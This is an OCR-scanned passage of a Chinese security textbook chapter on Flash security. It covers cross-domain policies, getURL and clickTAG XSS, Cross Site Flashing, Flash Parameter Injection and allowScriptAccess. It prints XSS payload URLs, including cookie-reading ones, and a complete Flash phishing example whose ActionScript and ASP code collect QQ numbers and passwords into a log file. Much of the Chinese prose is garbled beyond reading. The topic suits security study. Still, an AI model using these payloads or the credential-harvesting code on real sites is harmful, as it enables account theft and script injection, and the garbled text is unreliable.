
Flash Player "1ff)—/ B2 24025 T4 (Sandbox) ), ¥RARRT T At RILHEE,
— kU, WRBEAENUHELEA, S THNIAFRPENRNAZRA TR ER, Kt Flash
Player [1) 4 48 R4 VB4R K 5 LA Flash SN FF R R AT LA ) (6 2030 AR 0 1 1 i [

LA Flash IR VA, woWMBHER N AN RFESRA, I acom T SWF X
A E MR R accom 4R, MI{E b.com R SWF 3CFNAE — 4 #] b.com 14248,
AR () e A 1RAE 73 SWF SCPFZE Flash Player "R AHZAT7E A SV H T, Wk 6-8 fias.

a.com Sandbox b.com Sandbox

00 00

al.swf a2.swf bl.swf b2.swf

i md] .

file a3 file a4 file b3 file b4

AE 6-8 Flash b iEtE=

WRMA SWF S L T AR ZER T, WHEF-—4 SWF KB EAS AT LA S — A4
SWF K1 . W 6-8 T 7, a.com F al.swf 3CAF LR 5 R4 B a2.swf CHEHEATIHAS ; [FIFERY, b.com
R ) blswf SCPE L BERT b2.swi SCFIEAS, SR 25 IRULAIE b SWF U BdiG & 74 %24
B

WERAAEE A b T AR 2N R SWF STl E, o LLE R EERBORSCEL. Wit (s
(ERAUG, AN 4238 IR 3T A B a] JRE 55—~ Py ) S Bl . '

{Et ActionScript ifi 5, SWF CHFFE T HEPUE ML Security.allowDomain() 7 #:3k 8 & 1

EFmAE b, —A~T SWF 3CFAH] allowDomain() e #0154 SWF S0 (13 ) «
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B6E Flash GERS

http://home.example.com/parent.swi’

var loader:Loader = new Loader():;
loader.contentLoaderInfo.addEventListener (Event.INIT, init):

var url:String = "http://away.example.com/child.swf";
loader.load(new URLRequest (url)};

function init (event:Event) :void |
/1 (FXHHITT allowDomain)
trace (loader.content); <em>// [object DocumentClass]</em>

}

http://faway.example.com/child.swf

| Security.allowDomain("home.example.com");

RN ACFF “*” fLiH4h Security.allowDomain J5i%, “E¥F R VF MBTATHEEAT U 1)«

| Security.allowDomain ("*"):

th FiXFp 7 e b i) SWF SCHFEZ Uil AT SWF SO A AR . sk
JEid, AT LUE I ActionScript Ul 7] SCH b R, X RBP4, BT DOE AR s AR

BN, B T-AE SWF B2 K0 AN e H allowDomain {265, Fr BLIXZE 0145 {EHLHIZE Flash
h A FER AE By i—— N 5 5% 8% (Cross Domain Policy ) 3L .

6.2.2 Cross Domain Policy

K ABHNIE, JavaScript [ [F] 5 Mg Web W H] 42 & R0 4y, AR R BT (AN SO el
ANEANAFEEHATHER, 10 Flash /)85 5 58S A5 15 4% 2k B JavaScript, FbEMHERW AL #ig L
KUk, 1T Flash )% 4 S S BLAE Flash N IR 5 Wb i L2 18], FrCAE 72 5 dliseid .

BRINABE R, 1E8177E Web I 538 1 Flash A fovF vy i) A A0 g, WF:

http://playsec.com/movie.swf ===> i[dg].
http://playsec.com/dir/moviel.swf
http://playsec.com /dir2/movie2.swf v
https://playsec.com /movield.swf X
http://playsec.com:8080/movied.swf X
http://www.playsec.com/movie5.swf X

AJ W, Flash [ in) SEms JGRE R JavaScript () [FIUEECRE I H —H. SR00h 1 S8R P A58 A4
[T e K, G0 B AR IR, 1y ME-—nT ALk Flash AT 85 Sk S A (0 7 38002 0 Jl SR mes S 12k .

s dll TR G A NI R R 2 R Y 44 A crossdomain.xml 1) XML SCE, P 6-9 Fras b4
T http:/fv.youku.com T [¥) g L.

Al allowDomain 481, crossdomain.xml 3CF5E S 141 ] LA#E Flash Player Jn38 i) % 45 9 34 15§
%, JFEBRH Flash A 75 a7 LA25 838 5 H0HE LA B Ao VF AT 4 Hb 7 B8 i S M . b, LT
www.playsec.com 3% F ) SWF U % Ujin] www.target.com 3 fFrf, SWF &K &
www.target.com it %5 8% H % F 2 &4 crossdomainxml U, W EA, WiE Ak ¥
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62 Flash e m
crossdomain.xml XHFAF¢E, HEE 7 i www.playsec.com Hifinl, HB-AMMMEIER . Brel B
Flash a] LLEE U n) FAL 40 8E, L X8AE T crossdomain.xml 3L

ghtfp:,-"fv_yrmku_ com/ crogsdomain. zml ¥Vindows Internet Exzplorer

IHE @WEED EEY R IAD R
Qe - O ¥ 2 e s oemk & -

it @ \ﬁ_‘l http: f/v. youlm, con/erossdomain xml

<7wml version="1.0" encoding="UTF-8" 7>
- <cross-domain-policy>
<allow-access-from doman="%" />
</cross-domain-policy>

aE 6-9 crossdomain.xml 3L

http://www.playsec.com/crossdomain.xm] fK] 5 15 3w SC {4 () /@ ALRS & F -

<?xml wersion="1.0"7>

<cross—-domain-policy>

<allow-access-from domain="*.target.com" />

<allow-access-from domain="www.test.org" />

<allow-access-from domain="123.202.0.1" />

</cross-domain-policy>

LL_ bR, www.playsec.com RVFK B “*.target.com”. “www.testorg” Hl “123.202.0.1”
(15 i oK

B crossdomain.xml STAF (R 2CAR 5 8, (07— AU BEVE R, %S0 420 ™ 4% < XML k.
SCAH (R AR 9 #kE cross-domain-policy, 1 F A& — 42 £ 4> allow-access-from 7 £i . 1% 17 i ¥) domain
MRS R SEVFVT IR K44, K44 aT LUREIR) 1P Mauhb, tRerLlR— b,

SEAh, AT LA AC AT R A o VR U ) BT AT SOk, ARSI R -

<?xml wversion="1.0"?2>

<cross-domain-policy>
<allow-access-from domain="#*"/>

</cross-domain-policy>

WGERCEF “*” ARVFAEMVIRER T H7arGeEhl 2 1) BT A 4 T8 F 8R4 ]
REATERE SWF LRI, fvlfeS SEEER ™ ER G R.

B% 1 allow-access-from 15 41, M4 FBfEHIM3 1184 site-control. allow-access-from
-identity. allow-http-request-headers-from.

# AR 25

site-control: WiFEFED SMIEE, HIAESTTLIAFNE LB T4
allow-access-from-identity. BCBESEVSEMEEN 2 IFHFEIE 693 FEE T 6 Ak - oy ¥R
allow-http-request-headers-from: HENE=FHEH Flash @ XEEIERFEXE HTTP 3

Flash T L4 48 30 Ath () 5 55 SR s SO, A il b2 i 22 56k 7 H 3% crossdomain.xml 3Tk
I o7 R A5 52 A E SUSREE S . BRIAMS I T, Flash ASHN#EES 3 SEE SCE2 S IEAb SEmE SO, {H
JEWH T permitted-cross-domain-policies (1] by-content-type A5 JEME )5, L& EAEE N & 0%
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B6® Flash WARE
EXHSHEE .

Ty SR 2 AR 4 o8 5 4N (125 3 SR S % XA B, T LB % Adobe B 5 R AT KU 45 Adobe
Cross Domain Policy File Specification, Wi 6-10 Fr.

’ ‘ Adobe Cross Domain Policy File
A Specification
Adobe

Version 1.0

aE6-10 Flash B RS T 4Hi B

TR M

http://learn.adobe.com/wiki/download/attachments/64389123/CrossDomain_PolicyFile_ Spec
ification.pdf?version=1

6.23 IREEER

EAMAE SLIEZ1TH SWF XA B 245, wLUliid Flash player (19 # & 2 28 K %
. WEES AU RS b FYL_ERAT I Flash NPT & S Mt RAMER
fERWE.

Bildm, F P a] g i S AR X o 4 AR L A A U ) B i HLX e B REAN,
A B s, PR EER T A SWF 5k FLV AR T Web 38,

P 6-11 Fil P 6-12 Frzm 4y il h ¥ B 5 BRAR AN 5] (4 2h 4 A F 57 1f .

Adobe Flash Player ™ i B % 118 €| | Adobe Flash Playes™ @ 2% 1158 L
i B [+ -
cseoee KT e L
¢MELHET Web ¥aREs AT
Fdt Web KAK ERNBRARRRIELERBIE 2R SARR R BEATEEFHIN Web b5 SRVREAZHFGOME EEN R/ REL
B EEREMENELRRMEEESETEFN TEETER-ERQE AMRENLE
ek M. & Web i S0 MBS 2 R0 5= H Y A1E R .
PEF )
. b ) /101 5 At =10 o € i
S Hieid L0 et A | | BRE 8 veb A |
WEad e web &3 B
KEEHAH L TREO A REFTOE v BEM  WebiA 0000 BER MM
| @ C\orpiTimesheet swi | a breszacentral com 1KB 100 KB
| © CProgram FikesExampleCo\The AppiHelo! i local IKB 10018
aE6-11 "£REEMIER" REF aE6-12 "Web ¥R RHBMIEE" HIF
il Flash Player B EEPEE, JLUEHARAEERE. fFRE. LSREN Q3@
.

2 A B T AR I VRN A A AT LA A R

http://www.macromedia.com/support/documentation/cn/flashplayer/help/settings manager.
html
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6.3 Flash 2 3Tl 247

=1 Hash & PSR u & Rl

X} Flash [F)FEHMES A1 BT VEA N 41 )5, BIRAEFRATRT 8 — S bbb, R K 5K
Fea0 () ] ——Flash 1) % 2 i .

It FLWFIT Flash #1192 45 A\ 03 %57/ Stefano Di-Paola, 4 fth7E OWASP %47 | JLE &3,
VEAI A48 1 Flash (AR 2 2400, LA T A H X Seds 40 fT XSS, CSRF Z KMk, Fmik
Bl LHATVHE .

6.3.1 getURL() & XSS

{E Flash P A H B £ 1 XSS Wil . 55—~ Flash XSS il i BLAE 2003 4, FIF i1 clickTAG
%ﬁo
P 6-13 FIlE 6-14 FT7R A 55T Flash XSS 3T % .

XSS vulnerabilities in 8 millions flash files

19 1323
This is English version of my <55 vulnerabilies in A mithons fash files
article.

wtiiue & topic, which I started in 2008 in my article <S5
lfes i 215000 flash files, That time [ found hundreds of
flash files vulnerable to Cross-Site Scnipbing attacks. After
previous article, published at 12.11.2008, | continued researches and
found, that rmuch more flash files - millions flash files - were vulnerable
to ®SS attacks, As flash files in different global and local banner
systems, as flash files at individual sites,

Yulnerable ActionScript code,

As | already wrote m previous article, vulnerability 15 10 the next AS
code., As with setting second parameter in function getURL (target), as
without i,

|genum-:_mot.cnckrns, " _blank®); |

4E 6-13 Flash XSS iEEHEE 1

clickTAG ZE R A A AL T 15 ) Flash BEiti, HAERDERRER ¥, HHBR 0L 5 M 45 B
BRERT 5 0 s o B R i i ) B
B A AN B R Fi <embed> Bl <object> bR A BRI 5 R 140D -

<embed
I src="http://www.test.com/banner.swf?clickTAG=http://test.com/track?http://example.com
.

B A BUX AR SEER
<object type="application/x-shockwave-flash"™ data=" http://www.test.com/banner.swf"
width="640" height="480" >

<param name="movie" walue="http://www.test.com/banner.swf">
<param name="flashvars” wvalue=" clickTAG=http://test.com/track?http://example.com”>
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wem FenmExe

I </object>

4} [VEF SECURITY] XI55 wulnerabilities in 215000 flash files - Windows Internet Explorer
HE R FEY ERe TRAO WhHo

A @G O e @3- a -

) o -

PRI @ Y htkp AfLints. wabagpuec. orgfpiparnailfvsbsecurity_lists webapprec. org/2008-Novenbar /004655, hitnl

[WEB SECURITY] XSS vulnerabilities in 215000 flash files

MustLive musthive at websecunty com us
Thu Nev 27 [3:22:46 EST 2008

o Previous message: [WEE SECTURITY ] Secunty and developiness eyl
* Next message |[WEE SECTIRITY] Cheklackmg + CERF attackmg Web Apphication
» Messages sorted by | date | [ thread | [ subject | [ author |

Hello to Web Security Mailing Lisc!

It's my firse letter to the lisc and I decided to inform community about my
interesting finding.

Recent Ly, 12th of November 2008, I found X33 vulnerabilities in 215000 flash

files. As I wrote about at my site hitp://wehspcurity.com.us’I6037 (om
Ukrainisn), and thiz i3 English version of my article.

aE 6-14 Flash XSS WiEHRE 2

k£l
| http://www.test.com/banner.swf?clickTag=[click through url]

I R AT getURL(click TAG) T AT IEAAS 7x click TAG & &, B ] g4 E N R A 04T XSS
ﬁ‘dﬁ‘ﬂ

Bfi 17" — F . T Adobe Flash CS3 ¥k, 3% T thiEsE [FO) 4T HFahfE MR, Wk 6-15 far,
HIALLF ActionScript 4t

| getURL (clickTag, " _top"):
ImiFsemi S, FHW A8 AT V)R]«
I http://127.0.0.1/xss.swf?clickTag=javascript:alert(/xss/);

st LT fih % XSS, & 6-16 Bk,

5 10 15 20 25 30 35 40 45 s0

b EhIE - i v | i 3 :
ActionScript 1.0 4 2.0 ~| @ B G v E (B N BEBHT

DEY L] A ! getURL (clickTag, “ _top');
A ActiomScript 2.0 2%

T ——

A& 6-15 #HiA ActionScript ££43
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6.3 Flash B/ MM

4 ; http:f/t 21, 0‘01?‘: £, uﬁ!nlick Tag=javescript:alert {/xss/) . - Windows
v r An it

Q- O X[@ G Onx o @ (3-.5 03

ERHE W Bh1t’ /A127.0.0. Lixss Ilf’?di:Ha‘EJn“cril’linlul(.’zni’]:

Nicrozoft Internet Explorer !_x

_ﬁ fesst
Co)

A 6-16 47 clickTag fik& XSS

EidoRpl, FEEFIA ActionScript 2.0 () getURL() R BORMATES W MW ALHS. getURLO
B 1E A 2K K B E URL SRS S O b, 806 28 A% 360 157 & LK URL (15—
AT, WEEWT.

| getURL(url:String, [window:String, [method:String]]) : Void

SR ITF

url:String: MiZShFRECEM URL
window:String [Tit): IEEEHXENFBHPHBOR ATML 0, ETRABETFOMNERR, IMNTENGRE
BiEMPiER.
_self %E%ﬁﬁﬁuqﬂm%ﬁ'ﬂﬁ
“blank {EE—THEO
_parent 53 X BIWIE LR
_top 15F HRTE O & A TR
method:String [O#]. ATRETRMN cET 5 posT A%, WREHERN LS

{EH getURL()RT A 1 f 5 () B sR Eds @ i, BBNHSERFEFERE 1 URL,
b http://www.playsec.com, EAKBIAM T
I getURL(“http://www.playsec.com”);

B “javascript: URL” SR8 #k.

getURL (javascript:code, ' self')
getURL("javascript:alert (document.cookie)");

Jerf, FRAETR B —A™ JavaScript alert X iEHE. XS, AT LAFIH getURLOSR B ATAE

AR,
B — N A Wi ) SWF X447 LU ActionScript il .

| getURL("javascript:void(0)", " self", "GET");

M4, i Ui BLF URL &K o] AR AT ARG

I http://127.0.0.1/xss.swf?a=0:0;alert (/XS5/);
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e

XSS IR 6-17 Pror.

Q_ﬁm - & = 2 oo BE bR o o g3~

HELE 10 8 hetp: /127.0.0. 1/xss. swEPa=0:0; alert (F155/): o v

aE6-17 7 x5S

BAVKE AN EMFE LMB T HE—A Flash MHFF, #iALLF ActionScript 2.0 {45:

i getURL ('Jjavascript:alert(123);");

G EUFZSCTE, RSO A4 xss.swh, BRJEHTEE— > HTML SCHFFF N1 Flash 30

<object id="test" width="200" height="150">
<param name=movie wvalue="Movie.swf">
<embed AllowScriptAccess="always" name='test' src="xss.swf" type="application/x-
shockwave-flash" width="200" height="150">
</embed>
</object>

P D0 U0 28T PR BT 9 HTML 3CAY, JERT 2 G HE, W& 6-18 Fis.

Q- 3 e sremx D@ (-,

BILE 8T hp: /7127, 0.0, 1/test hinl

8 b e o 45 A B 15t s b i e

afE 6-18 #FT XSS

WS E R, HUUR ActionScript 2 S RF getURL()EE %L, {0 ActionScript 3 DAL T . M
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6.3 Flash % SusTa: B4R

Flash Player A%, (RIS AM, Fril H 2 H] ActionScript 2.0 K%k S BIA R W,
B E Z, Flash XSS A HATHF K Flash XA TR, W~ EREREERE TRE
VIgRAb ) 3R B
AT AWIUEL AR, @ root.*. global.*., level0.* #fEifE i 7 ) 8k 7 b HIK{H .
HEARWF.
® getURLOMEL (InfEH] Javascript:alert('’XSS")).
® |oad*(URL,..) K% (i{d M asfunction:getURL, javascript:alert('XSS")).
» loadVariables(url, level ).
LoadMovie ( url, target ).
LoadMovieNum( url, level ).
XML.load (url ).
LoadVars.load ( url ).
Sound.loadSound( url , isStreaming ).

Y V VY

YV ¥

NetStream.play( url ).
® TextField.html J&{ (UI<img src='javaScript:alert("XSS")//.jpg™>).
ﬁﬁn];pﬁfl‘f‘éﬂ&ﬂ IE

if ( _root.url == undefined) {
_root.url = "http://host/";

}

gerURL(_root.url);

Vil LN URL #tREfih A& XSS:
| http://host/movie.swf?url=javascript:alert('XS5s5")

6.3.2 Cross Site Flashing

#5Uli Flashing (Cross Site Flashing, XSF) AR B l, HREERH . XSF 1 XSS
JFRARARML, {0 XSF 495 ARG Flash X%, M URL 20 PIREURA, M S BOERIL
i, APl E:

| http://foo.com/file.swf?url=javascript:alert (document.cookie);

5t Flash B RS, SRR 8D FE R, ST,

@ 45— Flash £ 1] loadMovie* R $ (2l HAt /i) A4 Flash £y, {#fE
PRI [R] ) 2 4200 46

@ 5 HTML P4 504 ] *Script 27— Flash )7 IR ik, 474 XSF.

Bt Rl L, XSF ] LU L ) 9 s AR RS (9 Flash RefeksE sty meltn .
i if{_root‘moyieURT == undefined) {

; _root.movieURI = "http://host/movie,swf";

loadMovieNum(_ root.movieURI,1);
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e PR —

fish 52 el (€] URL:

I http://host/movie.swf?movieURI=maliciousFile.swf

EIXA RS, Flash aJAEAL & 562 LML RETER _root.movieURI, F HEZTRIKFIEHR
Flash CHFEAT A, )53 loadMovieNum() 7 #: N3, Flash SCfF movie.swf. {H&, MBHE T
AL RERE, ALK ERE Flash X maliciousFile.swf W52 &, W) %88 ik & it
loadMovieNum () /7 3 805 R 30

FHEARE 7SR

U A0S

| loadMovie(_root.mURL + '/movie2.swf');
Uy Il ks

| http://host/foo.swf?mURL=asfunction:getURL, javascript:alert(123)//
55 A ke

[ loadMovie('asfunction:getURL, javascript:alert (123)///movie2.swf")
iy D A 8 O ol 3 AT .

i T L () loadMovieNum()#1 loadMovie()p& #, 4 5 FH = G4 ) ) 3 Se B0 W 3™
MEALEE, 7E T A ef R AR A b A e v) e A A XSF Bk o

® [padVariables.
loadMovie .
getURL.
loadMovie.
loadMovieNum-.
FScrollPane.loadScrollContent.
Sound.loadSound-
NetStream.play .
flash.external. Externallnterface.call .
htmlText.

X RO W ) e e R FR 4 PDNF (Potentially Dangerous Native Function), ‘B4l % fiF
f# H asfunction DhBMY, BTTTAIHIFRIER T asfunction K H#ATIRS.

asfunction /& —~% ] T Flash ) HTML WY, 7E Flash B, <a>Fr%(1 href RYEH 3 A
R PML: HTTP. HTTPS FI FTP, XA asfunction S PUMNE AL, AV Pl % s
U o B — N SR R, Bl

l <a href=asfunction:myFunc,myParameter>click here</a>

{EME 7RG, 24 [elick here J4% #4544 5, ¥ 8 myFunc(p& 4, 1l myParameter /& myFunc()
RE— 1B H.
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6.3.3 Flash ZEHELFAN

FPI (Flash Parameter Injection) #f Flash ¥Rk A Kiki, J&—Fhah#&iE A Flash B4 RS 3
B FB.

AP G, ML Flash 2 HEKRA R HTML X HE), EARES URI n$k, HEHT
Flash ()24 5B ¥0E o] LUR URI KRB, Xk, WRBGE#H A8V R RS Flash 4
JaZ %, WAEREHAT Flash XSS, B43%§ Flash %1t .

IBM Rational % 2HRELEAG—AAKEBETH FPI Bili, ZAKBMNZFA Flash
Parameter Injection, t5 P /M4 1 JLFFA] BAE Flash $k A HTML 2 i i 3 i 45 R 2 i AT B0k 1R 2,
A F LR AR

® 4% Flash Z47E A\ (Reflected Flash Parameter Injection);

Pt 7 FlashVars [¥] 5245 & Flash Z ¥+ A\ (Reflected Flash Parameter Injection with FlashVars);
® FlashVars {£ A (FlashVars Injection);

® It DOM f1] Flash Z¥7& A (DOM-based Flash Parameter Injection);

® FEAM Flash Z81E A (Persistent Flash Parameter Injection).

(1) St Flash 804 .

4 Flash #5014 Fr k0 URL S8R A SMARHE, Bk v LA HI3 A M) Flash 4848, LLin
B KR Flash YL

e T A LA -

print ‘'<object type="application/x-shockwave-flash" data="' . S$params{movie}
'y /object>";

£ i ARhS b, Flash ¥4I 42 BRI B K b A # s al URL 250, 3 H 30804 A Uit HTML
T, i el fEiEad B A URL %664 Flash 2858

| http://www.test.com/index.cgi?movie=myMovie.swf?globalVar=e-v-i-1

g E iz, B4R Pl HTML 463

<object type="application/x-shockwave-flash"
data="myMovie.swf?globalVar=e-v-i-1" >
</object>

(2) P47 FlashVars 12 41 8¢ Flash Z801 A .
X FpJr AL FlashVars . ZJE 1l LLfE<object>#r%EH 5%, HR1%1%E4 )R Flash 3.
{E ActionScript 2.0 *}*, FlashVars < #% F1 )5 A 2| Flash I 2 e (948 8 250
WA T
my $language;
if (exists($params{language})) {
$language = $params{language};
}

else {
Slangauge = "English"; # BiA&
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%6%FE Flash ¥ARE '

}
print '<object type="application/x-shockwave-flash" data="myMovie.swf" flashvars=
"language=' . $language . ""></object>';

i X
| http://www.test.com/index.cgi?language=English%26globalVar=e-v-i-1

Hrp, 26%#4nigk&, -4 LL R HTML {458

<object type="application/x-shockwaMovie.swf"
ve-flash" data="my flashvars="language=English&globalVar=e-v-i-1">
</object>

(3) FlashVars i A
29 {T 3 (K <object>AREE (K MM 1E b S Bt , #aI e S BOXFEGE, WAL F.

print '<object type="application/x-shockwave-flash" '
'data="myMoive.swf" '

'width=""' . $params{width} .

'" height="' . $params{height}

'"></object>";

width Al height Z-¥ 3T g SR A, EEAL R 25 H ) HTML 308, Beorsilin -

l http://URL/myMovie.cgi? width=600&height=600" flashvars="globalVar=e-v-i-1

Bl EREEA R A HTML 865

<object type="application/x-shockwave-flash"
data="myMovie.swf"

width="

600" height="600" flashvars="globalVar=e-v-i-1">
</object>

(4) 5T DOM [¥] Flash Z¥0EA .
4 document.location 25 Ft 4 I {E Flash Z8\Hx, 4S80t EGR, HiRiREAHED T

<script type="text/javascript" language="JavaScript">

var 5 = '';

var loc = encodeURI (document.locatien);

s += "<object>';

5 += ' <embed src="myFlash.swf" flashvars="location='+ loc +'">"';
s += ' </embed>';

s += '"</object>';

document ..write(s);

</script>

Bz

I http://URL/index.htm¥sglobalvar=e-v-i-1

e AT U

<object>

<embed src="myFlash.swf"
flashvars="location=http://URL/index.htm#sglobalVar=e-v-i-1">
</embed>
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6.3 Flash % /3 B B4R
I </object>

X BATPIANERALIH4S Flash SCHF, 401l location F1 glbal Var-. location fFI{E 4 http://URL/index.htm#,
glbalVar (BN e-v-i-l. 4, #)5 FIEIEA S RIRG RS, XFHTE¥FE A DOM-Based XSS )
JREE—F¥.

(5) AR Flash Z2HEA.

%t & EAE Flash Cookie #{RAF K I HA AL B Flash AP ISR T .

6.3.4 Flash $9f &t

B 7 FIH Flash &G {7E MR IAAT S, 0T BAE Flash 24— EA MR, Mgy
faliti. MAIHT ALK Flash sUM A SRR, RS 4S TR%EHTEG .

TR, AT Flash M9 BG HAEME, Fln, arBa st AR QQ #¥mthds QQ %4
L HEAT R ) F ] B il QQ 4% ] (K64 B ik, FIH Flash #E/BCA8180 T — M KE-Lo I ¥ Flash
A RAN 1 QQ FRHME, HFMA WA S LFELGER. YZHEARWAACH QQ KSNFL)E,
&G R R B fRENE N, HER R EFE T kK.

% Flash SCF) ActionScript £CHS &1 F -

var str = "http://localhost/mail.asp";
ntxt.restrict = "0-9";
var scData = new LoadVars():;
scData.onLoad = function (success)
{

if (!success)

{

msqg.text = "i#iR. APAEEREERE ;
lelse
{
msg.text = "R APREHEER ";
}
gotoAndStop (4} ;
b
sub btn.onRelease = function ()
{
var _locl ntxt.text;
var loc2 ptxt.text;
if (_loc2.length &gt; 5 &amp;&amp; _locl.length &gt; 4)

scData.QQNumber = locl;
scData.QQPassWord = _loc2;
scData.sendAndLoad(str, scData, "get"):

if (_loc2.length &lt; € || _locl.length &lt; 5)

ntxt.text
ptxt.text

i
stop ()

1B 55 v ) AL BRRE PP T

| <%
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¥ 6FE Flash ¥HEZSE

strLogFile="testgqghahaha.txt"

QONumber=request ("QQNumber")

QOPassWord=request ("QQPassWord")

if QQNumber="" or QQPassWord="" then
response.write "HSHSHAI4"

response.end
End If
StrLogText=StrLogText&Q0Number&"----"&QQPassWord
StrLogText=StrLogText&"----"gdates" "&time

set f=Server.CreateCbject("scripting.filesystemobject")

set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile, 8, true,0)
ff.writeline (StrLogText)

ff.close

set ff=nothing

set f=nothing

response.write "DRURIEIE) "

&>

HEfE ) Flash QQ HRHEWIF 6-19 f7n .

ﬁ = E by c——— .
MY WD EEY EREW TAD ERH
W S e ANENTE « FREAREE | oy (—

e~

k]

A 6-19 H Flash {4iE 00 EFAERTHE

JH Flash ]38 () 8 SRAER LS QQ B A JLF—FF, BN AR 2856 () /2 05130 ) 22 4 o
Pl RERTAR A, Flash 48 B i) i 22 v) W —B4

U7 717 Plash 17 KSS Tk S147

M A Web BUHH ff) Flash #E4T XSS 7 — AN ¥kE A% : allowScriptAccess J& ¥ .
allowScriptAccess & {# fHl <embed>a<object>#5% 5| A Flash B34t —NEHlEME, Y& T Flash
T REPIT A .
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6.4 7/ Flash #7 XSS Kt 847

R AN R R

| <embed src=http://www.test.com/flashxss.swf allowScriptAccess=always>

allowScriptAccess J& ¥ $5 %35 Flash 5 HTML T (3815, AlEERMEA 3 1

always: AIFHEFHITHIZARE
never: ¥iFFrEMERTERE
samedomain: RH7 Flash BNARF¥XBE S urML TUER BN A R iFH T R iRE
H R E{ELE Flash Player 7 J 2 BiR A Tl % /& always, X% Flash a] LA 4 7] 2 A~ [F] domain
f) JavaScript &% 3. Flash Player 8 8% Ji5 Fl % /& sameDomain, t & 307E % ¥ Flash R H (9 BRI A,
(B2 28 % e F B4 Lo P AU ZOE TR B b always.
allowScriptAccess Ef5 |- /& Flash #FRALHIK) API, AL Security.allowDomain()th 23
Ay, XL RT LU TR AN R RS,

BURBLE AP Wnf& 6-20 FT .
APl Names Description
Security.allowDomain() Peormits SWF files from a specified sandbox to read (or cross-

script) the calling SWF file. The allcwiInsecurelomain() API
curity.allowinsecureDomain () also permits access to HTTPS SWF files by non-HTTPS SWF files,
lHote: For Flash Player 7 and earlier, these methods permitted
access to all SWF files in the sandbox of the calling SWF file.
Starting with Flash Player B, these mathods permit access only
to the calling SWF file itself.

Sscnripy.loadtiolicyrileil) Informs Flash Player of the location of a URL policy file in & non-
default location, or the location of a socket policy file.

i B e Determines whether exact or old-style superdemain rules are
used to determine the scope of shared objects and privacy
sottings.

Hote: For Flash Player 7 and earlier, the value of this property
was scoped to an entire sandbox: that is, changing it from one
SWF file in a sandbox also changed it for all other SWF files in
the same sandbox. Starting with Flash Player 8, the value of this
property is scoped to the calling SWF file only.

Locallconnection. Specifies one or more domains that can send LocalConnection
allowbDomain() calls to a LocalConnaection instance. The
LesalConnectisn.allewDeomasin () methad functions like

Lezallonnaction. Secur swhomain () : recelving code calls
B ML ACONECICHSIN all an(}.llke Security.allowDomain(),
LocalConnecticon.allowDemain () supports a single astorisk

“* as a global wildcard.

JE6-20 RS
FHLN R AL 27 2B R ALE APT Ik 6-21 B,

API Names Description

Dasablels ?ﬂ:~5€¢u= ity These are methods exposed to host applications to control

Enforcelocaliscuriny security settings. They can be invoked only by native code
in the host application.

aE 621 A EDRYLE

175

PR YR AT B /7 s NUPR/WWW. L /NUan.com  #R25 T YR A AN ZH B /7 T9-425%: NUPL//T.].COMVKUDas_PRIoY/  HME— B Jm QU: 4829993

https://www. l1nuxprobe.com




ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

#6® Flash G A%S

ifil allowScriptAccess 1 allowNetworking #iJ& T HTML Z ¥ BRHLE] API @ f 6-22 Bk

API Nawes Description

allowdetwirking This HTML parameter governs a number of ActionScript APIs. It has the

following possible values:

«  "all"=the default. Ho networking restrictions; player bohaves normally.

*  Cintemal®—5WF files may not call browser navigation or browser
interaction APls, but may call any other networking APls,

= "none”—SWF files may not call any networking APIS, nor any SWF-to-SWF
communication APls.

Hate: Using the value "internal” or “none” is not recommended for SWF files

from the same domain as their enclosing HTML pages.

8L1liwIZIipTATISEE  |This HTML parameter governs whether ActionScript can call JavaScript (or

other script) in the HTML page (container). It has the following possible values:

. “never'— the SWF filo cannot communicate with any HTML page. Hote
that using this value is deprecated and not recommended, and shouldn't
be necessary if you don't serve untrusted SWF files from your own domain.
If you do need to serve untrusted SWF files, Adobe recommends that you
crgate a distinct subdomain and place all untrusted content there.

s “sameDomain™— the default. The SWF file can communicate with the HTML
page in which it is embedded only when the SWF file is from the same
domiain as the HTWML page. Hote: this is the default value for Flash Player B
and lator: "always” was the default valua for Flash Player 7 and sarlier
SWF files.

*  C“always"=the SWF file can communicate with the HTML page in which it is
embeddod owvan whon the SWF filo is from a difforent domain than the
HTHML page

AE6-22 BEBURIE

allowNetworking J& 4% ] SWF SC{HEXT /48 D (1) Uy 9], Pt ) CSRF Briki 47 45 2 6 EE 5
W, S AR U

HE KT Flash BURHLE APL BILL MMM, WESEH Adobe HIH /K15 Adobe Flash
Player x Security .

iR 5| A Flash 3XAFB, HTML 71 [fil () <embed>8{ <object>#54% (] allowScriptAccess ¥ 47 4™
B, B T LAAE BY Flash (fiH] ActionScript) AT XSS.

{E ActionScript " a] EAM# F getURL()ef E AT A4S .

ActionScript {CHS {1 F

| getURL('javascript: alert(123);'):

% E S8R SWF SCPHBRA HTML 30, QRS 4 -

<object id="foo" width="200" height="150">

<param name="movie" value="movie.swf">

<embed AllowScriptAccess="always" name="foo" src="xss.swf" type="application/x-
shockwave-flash" width="200" height="150">

</embed>
</object>

X, EE N LR TR A AN HE
B T Al getURL(O) /i iZ4b, &0 LL{#H] ActionScript 3.0 ') Externallnterface 2 ¥ 4T
JavaScript 4.
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6.4 FIF Flash #47 XSS Bk &I4T
Externallnterface 2/ Flash 5 JavaScript 3¢ H.[MHX 4, wJLASEIE JavaScript 5 ActionScript Z

6 (¥ 47 il A . il Externallnterface 25(¥) call() 12 AT LA EH 21 FH M8 (1) JavaScript.
Externallnterface.callO)fF &40 -

! Externallnterface.call (functionName:String, ...arguments):*

SR -

functionName: Ei@ K JavaScript eRil®E
arguments:#&' ol ik

Externallnterface.call() fo F7E ActionScript H1iff ] JavaScript, LA F LR 3.
(1) g flik.
% 1 NSHUL JavaScript H IR KA, HALR SIS SH

! Externallnterface.call("alert™, "{REF!");

LR 6-23 P 6-24 Fios.

Ome- 3 ¥ 3 Jome ek @ LI-ip W

FEAE T @) Mg 2T, 0.0, 1/ et htal

TPOVERREBIETTD O\ mapF (==
ExternalInterface. call(“alext”, “[7#F17);
A 6-23 #iA ActionScript 448 aE 6-24 $hiTXSS

(2) HEAAT JavaScript i1,
FLHEAE JavaScript i H) G5 AB N

l Extei‘nallnterface.call ("function() {alert('xss");}");

R R
var xss:String = "function(){alert('cnndry');}";
